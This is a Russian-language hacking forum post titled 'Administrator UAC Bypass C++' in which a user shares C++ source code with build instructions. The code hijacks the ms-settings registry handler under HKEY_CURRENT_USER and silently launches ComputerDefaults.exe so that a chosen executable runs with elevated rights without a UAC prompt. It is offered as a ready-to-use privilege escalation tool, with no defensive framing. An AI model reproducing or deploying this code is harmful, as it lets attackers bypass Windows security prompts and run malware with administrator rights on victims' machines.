Взлом
Уважаемые гости! При посещении нашего сайта просим вас ознакомиться с разделами форума, прежде чем оставлять ваши объявления и т.п., а также при обращении за помощью просим быть внимательными: на сайте есть как проверенные специалисты, так и непроверенные. Если вы обратились к специалисту, который проверку НЕ проходил, рекомендуем воспользоваться услугой гарант-сервиса. Спасибо, что посетили XakerPlus!

Administrator UAC Bypass C++

V

Viv1337

Гость
Сам использую=)

для работы нужно создать консольное приложение win32 в visual studio,вставить туда код приведенный ниже и скомпилировать. Компилим в Release.

#define _CRT_SECURE_NO_WARNINGS
#include
#include
#include //для того,чтобы мог писать тип данных string
std::string cometa = "ВашпутькEXE";
void BypassUAC()
{
char* ccometa = new char[cometa.length() + 1];
strcpy(ccometa, cometa.c_str());
TCHAR Tccometa[512];
_tcscpy(Tccometa, ccometa);
HKEY hKeys;
if (ERROR_SUCCESS == RegCreateKeyEx(HKEY_CURRENT_USER, "Software\\Classes\\ms-settings\\shell\\open\\command", 0, NULL, 0, KEY_ALL_ACCESS, NULL, &hKeys, NULL))
{
RegSetValueEx(hKeys, _T(""), 0, REG_SZ, (BYTE*)Tccometa, (_tcslen(Tccometa) + 1) * sizeof(TCHAR));
RegSetValueEx(hKeys, _T("DelegateExecute"), 0, REG_SZ, (BYTE*)"", (_tcslen("") + 1) * sizeof(TCHAR));
RegCloseKey(hKeys);
}
ShellExecute(NULL, "open", "cmd.exe", "/c ComputerDefaults.exe", NULL, SW_HIDE);
}
int main(void)
{
 
BypassUAC();
return 0;
}
 
 
Последнее редактирование:
 
Последнее редактирование:


Сверху